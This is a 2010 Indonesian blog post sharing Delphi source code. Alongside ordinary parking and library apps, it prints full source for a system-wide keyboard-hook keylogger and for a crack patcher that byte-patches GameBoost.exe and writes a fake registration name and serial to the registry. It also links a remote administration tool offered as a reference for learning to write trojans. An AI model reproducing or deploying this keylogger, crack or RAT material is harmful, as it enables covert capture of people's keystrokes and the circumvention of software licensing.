-->

Jumat, 22 Oktober 2010

Kumpulan Source Code Delphi/ Pascal

Aplikasi Parkir Kendaraan

Aplikasi Parkir Kendaraan Siap Pakai ..Dibuat Dengan Delphi 7
Beserta Lengkap Dengan Report(Cetak Laporan) Aplikasi ini 2 Database ,yaitu input kendaraan masuk ,dan Input kendaraan keluar
Sebelum anda menjalankan aplikasi ini .,anda harus mendownload terlebih dahulu crystal report 8.0(Silahkan anda searching Aplikasinya Di Google) ,Karena Crystal Report Merupakan Komponen Pendukung Untuk Aplikasi Ini.
Aplikasi Parkir Kendaraan Disertakan Bersama Source Codenya Juga
download Now Aplikasi Parkir Kendaraan.

Keylogger dengan delphi
 http://www.ziddu.com/download/9991079/DelphiKeyLogger.zip.html

Aplikasi Perpustakaan Dengan Delphi 7

Aplikasi Perpustakaan Siap Pakai , Disertai dengan report dan databasenya Msacces , Berikut Source Code.
Sebelum anda menjalankan perogram aplikasi perpustakaan ini anda harus mendownload terlebih dahulu crystal report 8.0 (silahkan anda searching di google aplikasinya)
Silahkan Dikembangkan Lebih Lanjut

download Now Aplikasi Perpustakaan


 

ini adalah source code keylogger dengan bahasa Delphi/pascal

GlobalHook.dpr

program GlobalHook;

uses
  Forms,
  ufGlobHook in 'ufGlobHook.pas' {frmHook};
{$R *.RES}
begin
  Application.Initialize;
  Application.Title := 'Keyboard Hook';
  Application.CreateForm(TfrmHook, frmHook);
  Application.Run;
end.


HkLib.dpr
library HkLib;
{//This library contains functions to help implement
system keyboard hook.
//}
usesWindows;
{$R *.RES}
//-----------Data Structure to be shared------------//
type THookData=record
       Handle,Msg,
       hHook,Instances:Cardinal;
     end;
     PHookData=^THookData;
const
//--------Constants (2 stupid strings)---------------------//
   MutexName='KTKeyboardHookLibraryVersion1.00UniqueMutexName';
   MemShareName='KTKHLV100MEMFILE';
//------------------Variables-------------------------//
var
   MyMutex, //Synchronization Mutex Handle
   MemShare:Cardinal;  //Memory-Mapped File handle
   MyData:PHookData;   //Library-Shared Data
//-----------------Keyboard Hook Callback---------------//
function KbdHook(hCode,wParam:LongInt;lParam:LongInt):Longint;stdcall;
begin
     try
       WaitForSingleObject(MyMutex,INFINITE); //Synchronize
       if (MyData^.Msg<>0) and (hCode=HC_ACTION) then PostMessage(MyData^.Handle,MyData^.Msg,wParam,lParam);
       if MyData^.hHook <> 0 then Result:=CallNextHookEx(MyData^.hHook,hCode,wParam,lParam)
          else Result:=0;
     finally ReleaseMutex(MyMutex);
     end;
end;
//-------------Function to set hook----------------//
function HookKeyboard(Hwnd,MsgID:Cardinal):LongInt;stdcall;
begin
     try
     WaitForSingleObject(MyMutex,INFINITE); //Synchronize
     if MyData^.hHook<>0 then begin
        Result:=0;ReleaseMutex(MyMutex);Exit;
     end;
     Result:=SetWindowsHookEx(WH_KEYBOARD,@KbdHook,HInstance,0);
     if Result<>0 then begin
        MyData^.hHook:=Result;
        MyData^.Msg:=MsgID;
        MyData^.Handle:=Hwnd;
     end;
     finally ReleaseMutex(MyMutex);
     end;
end;
//------------------Function to remove Hook----------------//
function UnhookKeyboard:Boolean;stdcall;
begin
     try
      WaitForSingleObject(MyMutex,INFINITE);
      Result:=True;
      if MyData^.hHook=0 then begin
         ReleaseMutex(MyMutex);Exit;
      end;
      Result:=UnhookWindowsHookEx(MyData^.hHook);
      if Result=True then begin
         MyData^.hHook:=0; MyData^.Msg:=0; MyData^.Handle:=0;
      end;
     finally ReleaseMutex(MyMutex);
     end;
end;
//-----------Function to determine, whether we are already hooked-----------//
function Hooked:Boolean;stdcall;
begin
     WaitForSingleObject(MyMutex,INFINITE);
     Result:=(MyData^.hHook<>0);
     ReleaseMutex(MyMutex);
end;
//=========================DLL Mechanics======================//
//--------------Initialization Code--------------//
procedure EnterDLL;stdcall;
var FirstInstance:Boolean;
begin
//Get a Mutex for synchronization
     MyMutex:=CreateMutex(nil,True,MutexName);
//Open Memory Share
     MemShare:=OpenFileMapping(FILE_MAP_ALL_ACCESS,False,PChar(MemShareName));
     FirstInstance:=(MemShare=0);
//If cannot open, then create
     if MemShare=0 then MemShare:=CreateFileMapping($FFFFFFFF,nil,PAGE_READWRITE,0,SizeOf(THookData),MemShareName);
     if MemShare<>0 then begin
        //we are opened for the first time...
        MyData:=MapViewOfFile(MemShare,FILE_MAP_ALL_ACCESS,0,0,0);
        if Firstinstance then with MyData^ do begin
           Handle:=0;Msg:=0;hHook:=0;Instances:=0;
        end;
        MyData^.Instances:=MyData^.Instances+1;
     end;
     ReleaseMutex(MyMutex);
end;
//--------------DeInitialization Code---------------//
procedure ExitDLL;stdcall;
begin
    try
//Synchronize
      WaitForSingleObject(MyMutex,INFINITE);
      MyData^.Instances:=MyData^.Instances-1;
      if (MyData^.Instances=0) then begin
//Close shared memory file and synchronization mutex
         UnmapViewOfFile(MyData);
         CloseHandle(MemShare);
         CloseHandle(MyMutex);
       end;
     finally ReleaseMutex(MyMutex);
     end;
end;
//-----------------DllEntryPoint----------//
procedure LibraryProc(Reason: Integer);
begin
case Reason of
   DLL_PROCESS_DETACH:ExitDll;
   DLL_PROCESS_ATTACH:EnterDll;
end;
end;
//-----------------Exports...-----------------//
exports HookKeyboard,UnhookKeyboard,Hooked;
//--------------------------------------------------------//
begin
EnterDLL;
DllProc:=@LibraryProc;
end.
 
ufGlobHook.dfm

object frmHook: TfrmHook
  Left = 241
  Top = 107
  BorderIcons = [biSystemMenu, biMinimize]
  BorderStyle = bsDialog
  Caption = 'Keyboard Hook'
  ClientHeight = 283
  ClientWidth = 362
  Color = clBtnFace
  Font.Charset = DEFAULT_CHARSET
  Font.Color = clWindowText
  Font.Height = -11
  Font.Name = 'MS Sans Serif'
  Font.Style = []
  Icon.Data = {
    0000010002002020100000000000E80200002600000010101000000000002801
    00000E0300002800000020000000400000000100040000000000800200000000
    0000000000000000000000000000000000000000800000800000008080008000
    0000800080008080000080808000C0C0C0000000FF0000FF000000FFFF00FF00
    0000FF00FF00FFFF0000FFFFFF00000000000000000000000000000000000000
    0000000000000888888888800000000000000000000000888888880700000000
    0000000000000088888888077000000000000000000000088888807777000000
    0000000000000000000000777700000000000000000000008880080770000000
    0000000000000000080F0080700000000000F0F00000000000F0F00000000000
    0000F0F00000000000F00F000000000000000FF0000000000FFF000000000000
    0000FFF000000000FFF0F000000000000000FFF000000000FFF0000000000000
    0000FFF00000000FFF0F000F00000000000FFFF00000000FFF0000F000000000
    000FFFF0000000FFFFF00F0000000000000FFFFF00000FFFF00FF00000000000
    000FFFFFF000FFFF0F0F00000000000000FFFFFFFFFFFFFF00F0000000000000
    00FFFFFFFFFFFFF0F00000000000000000FFFFFFFFFFFF0F0000000000000000
    0FFFFFFFFFFFFFF000000000000000000FFFFFFFFFFFFF000000000000000000
    0FFFFFFFFFFFF00000000000000000190FFFFFFFFFFF00000000000000000190
    FFFFFFFFFFF000000000000000000910FFFFFFFFFF0000000000000000000191
    00FFFFFFF0000000000000000000091919000000090000000000000000000091
    9191919190000000000000000000000019191910000000000000000000000000
    0000000000000000000000000000FFFF001FFFFF000FFFFF8007FFFF8003FFFF
    C001FFFFC001FFFFE003FF1FF003FE0FF807FE0FF81FFE0FF03FFE0FE03FFE0F
    E067FE0FC047FC0FC08FFC0F801FFC07003FFC00007FF80000FFF80001FFF800
    07FFF0000FFFF0001FFFC0003FFF80007FFF0000FFFF0001FFFF0001FFFF0001
    FFFF8003FFFFC007FFFFF01FFFFF280000001000000020000000010004000000
    0000C00000000000000000000000000000000000000000000000000080000080
    00000080800080000000800080008080000080808000C0C0C0000000FF0000FF
    000000FFFF00FF000000FF00FF00FFFF0000FFFFFF0000000000000000000000
    000008888000000000000088077000000000000000000000F000000880000000
    F000000000000000F00000F00F000000F0000FF7F0000000FF00FF7F0000000F
    FFFFF7F00000000FFFFFFF000000000FFFFFF00000000000FFFF000000000990
    00000000000001199900000000000000000000000000FF030000FF010000FF80
    0000F3810000E3C10000E3830000E3890000E3030000E0070000C00F0000C01F
    0000803F0000007F000000FF000000FF000081FF0000}
  OldCreateOrder = False
  PixelsPerInch = 96
  TextHeight = 13
  object txtStatus: TMemo
    Left = 0
    Top = 48
    Width = 361
    Height = 233
    ReadOnly = True
    TabOrder = 0
  end
  object Button1: TButton
    Left = 8
    Top = 8
    Width = 169
    Height = 33
    Caption = 'Set Hook'
    TabOrder = 1
    OnClick = Button1Click
  end
  object Button2: TButton
    Left = 192
    Top = 8
    Width = 161
    Height = 33
    Caption = 'UnHook'
    TabOrder = 2
    OnClick = Button2Click
  end
end 

ufGlobHook.pas

unit ufGlobHook;
interface

uses
  Windows, Messages, SysUtils, Forms, StdCtrls, Classes, Controls;
const
     LibInst:HInst=0;
     hHk:HHOOK=0;
     MSG_KBD=WM_APP+12321;
type
  TfrmHook = class(TForm)
    txtStatus: TMemo;
    Button1: TButton;
    Button2: TButton;
    procedure Button2Click(Sender: TObject);
    procedure Button1Click(Sender: TObject);
    procedure KbdMsg(var Msg:TMessage);message MSG_KBD;
  private
    { Private declarations }
  public
    { Public declarations }
  end;
function HookKeyboard(Hwnd,MsgID:Cardinal):LongInt;stdcall;external 'HkLib.dll' name 'HookKeyboard';
function UnhookKeyboard:Boolean;stdcall;external 'HkLib.dll' name 'UnhookKeyboard';
function Hooked:Boolean;stdcall;external 'HkLib.dll' name 'Hooked';
var
  frmHook: TfrmHook;
const
  CtlChars:set of Byte=[1..12,14..31];
implementation{$R *.DFM}
procedure TfrmHook.KbdMsg(var Msg:TMessage);
var KN:PChar;tmpRes:Integer; KS:TKeyBoardState; ch:String;
lp,wp:LongInt;
label Bye;
begin
     lp:=Msg.lParam;wp:=Msg.wParam;
     if ((lp and $80000000)=0) then begin
        KN:=StrAlloc(2);
        if GetKeyboardState(KS)=False then goto Bye;
        tmpRes:=ToAscii(wp,lp,KS,KN,0);
        if (tmpRes=1) and not(Ord(String(KN)[1])in CtlChars) then begin
           ch:=String(KN)[1];
           if ord(ch[1])=13 then ch:=ch+#10;
           frmHook.txtStatus.Text:=frmHook.txtStatus.Text+ch;
        end else begin
           KN:=StrAlloc(10);
           if GetKeyNameText(lp,KN,10)<> 0 then begin
              frmHook.txtStatus.Text:=frmHook.txtStatus.Text+'{'+String(KN)+'}';
           end;
       end;
     end;
Bye:
end;
procedure TfrmHook.Button2Click(Sender: TObject);
begin
     if hHk=0 then Exit;
     if UnhookKeyboard=False then
        MessageBox(Handle,'Failed','Error',MB_ICONHAND)
     else begin
         hHk:=0;
         Button1.Enabled:=True;
     end;
end;
procedure TfrmHook.Button1Click(Sender: TObject);
begin
      hHk:=HookKeyboard(Handle,MSG_KBD);
      if hHk=0 then MessageBox(Handle,'Failed','Error',MB_ICONERROR)
        else begin
        Button1.Enabled:=False;
      end;
end;
end.


Making Patcher + Back-Up + Write Registry + Target


unit Unit1;
interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, StdCtrls, ExtCtrls, Registry;

type
  TForm1 = class(TForm)
    Bevel1: TBevel;
    Label1: TLabel;
    Edit1: TEdit;
    Label2: TLabel;
    Edit2: TEdit;
    Label3: TLabel;
    Edit3: TEdit;
    Button1: TButton;
    Button2: TButton;
    Memo1: TMemo;
    Label4: TLabel;
    OpenDialog1: TOpenDialog;
    procedure Button2Click(Sender: TObject);
    procedure Button1Click(Sender: TObject);
    procedure FormCreate(Sender: TObject);
  private
  myReg: TRegistry;
  public
    { Public declarations }
  end;
var
  Form1: TForm1;

implementation
{$R *.dfm}

procedure BackupFile(const FileName, BackupExt: string; const BackupConfirm: boolean);
begin
CopyFile(PChar(FileName),                      //copy software
PChar(ChangeFileExt(FileName, BackupExt)),false);
end;

procedure TForm1.Button2Click(Sender: TObject);
begin
application.Terminate;
end;

procedure TForm1.Button1Click(Sender: TObject);
Const                     // we declare constants
    FileN         : String  = 'Target --> GameBoost.exe';
    FileS         : LongInt = 3729096;
    BytesToChange : Integer = 9;         // number of bytes to amend
        A             : Array[1..9] of Record      // By changing 2 bytes
      A : Longint;               // length limit 2147483647
      B : Byte;                  // limit of 255 bytes
      End =                  // end statements
(
(A:$0014F3F4;B:$EB),
(A:$0014F3F5;B:$56),
(A:$0014F3F6;B:$90),
(A:$0014F3F7;B:$90),
(A:$0014F3F8;B:$90),
(A:$0014F3F9;B:$90),
(A:$0014F3FA;B:$90),
(A:$0014F3FB;B:$90),
(A:$0014F52C;B:$EB)   //   Attention! on the last row => no comma!);
);
var
  F     : File;      // F for the file
  Ch    : Char;      // Ch octet for a patch
  I     : LongInt;   // and I for the length
begin
OpenDialog1.filename := '*.exe';      // Seeking an exe file
OpenDialog1.filter := FileN;      // file GameBoost.exe
if OpenDialog1.execute then         // if the file is found, then ...
begin
  AssignFile(F, OpenDialog1.filename);   // target file
  Reset(F,1);
  If FileSize(F)<>FileS then      //  if the file is a size <or> that indicated, then ...
     begin            // Opens a command
     showmessage('PATCHING ERROR - WRONG SIZE');   // displays the text as what it is not the right size
     end            // end of the function which measures the size 
     else            // if everything went well, then ... 
     begin            // Opens a command
BackupFile(OpenDialog1.FileName, '.bak', true);//create backup .bak....
  For I := 1 to BytesToChange do   // for I, I loop as many times there to make modification
     begin            // will indicate how 
     Seek(F,A[I].A);         //>
     Ch:=Char(A[I].B);         //>
     Blockwrite(F,Ch,1);      // registered bytes
     END;
  try
    myReg := TRegistry.Create;
    myReg.RootKey := HKEY_LOCAL_MACHINE;
    //myReg.RootKey := Combobox1.Items.add;<-------I need to use this somehow
    if myReg.OpenKey('Software\PGWARE\GameBoost\', TRUE) then
    begin
    myReg.WriteString('Name', 'RaY-29');
    myReg.WriteString('Serial', 't3am_cr4ck3r_b3kas1_und3rgr0und');
     end
    finally
    myReg.Free;
  showmessage('PATCHING DONE N ENJOY');   // Displays a message of success
end;
end;
end;
end;

end.
 
download source code-nya secara lengkap di sini:
 
Cold Fusion - Remote Administration Tool

download : download


Bagi yang pengen belajar coding RAT/Trojan/PC Remoter dengan bahasa pascal/delphi. coba gunakan source code ni sebagai referensi

credit by:xaintd snutz

ini adalah source code keylogger dengan bahasa Delphi/pascal

2 komentar:

Unknown mengatakan...

Mkasih infonya .. bdw punya kumpulan disain2 delphi ga ???

Unknown mengatakan...

punya script delphi untuk simulasi tumbukan fisika gag???

Posting Komentar